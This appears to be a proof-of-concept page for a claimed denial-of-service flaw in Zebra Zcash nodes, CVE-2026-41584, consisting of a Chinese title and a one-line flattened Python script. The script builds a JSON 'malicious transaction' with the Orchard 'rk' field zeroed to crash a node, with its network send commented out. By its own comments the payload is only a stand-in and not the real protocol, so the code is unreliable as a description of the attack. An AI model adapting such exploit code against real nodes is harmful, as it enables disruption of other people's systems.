CVE-2026-41584 ZEBRA节点Orchard交易拒绝服务漏洞

import socket import json # Conceptual PoC for CVE-2026-41584 # This script simulates sending a crafted transaction to a ZEBRA node. # The key vulnerability is the 'rk' field in Orchard transactions being set to the identity (zero). def send_malicious_transaction(target_ip, target_port): # Construct a malicious transaction payload # Note: Real Zcash transaction construction is complex; this is a conceptual representation. # The critical part is setting the Orchard 'rk' field to all zeros (identity). malicious_tx = { "version": 4, "orchard": { "actions": [], "rk": "00" * 32 # Setting rk to identity (zero) value triggers the panic } } payload = json.dumps(malicious_tx).encode('utf-8') try: print(f"[*] Sending crafted transaction to {target_ip}:{target_port}...") # In a real scenario, this would use the Zcash P2P protocol (ZMQ or TCP) # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, target_port)) # sock.sendall(payload) # sock.close() print("[+] Payload sent. If the node is vulnerable, it should crash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" port = 8233 send_malicious_transaction(target, port)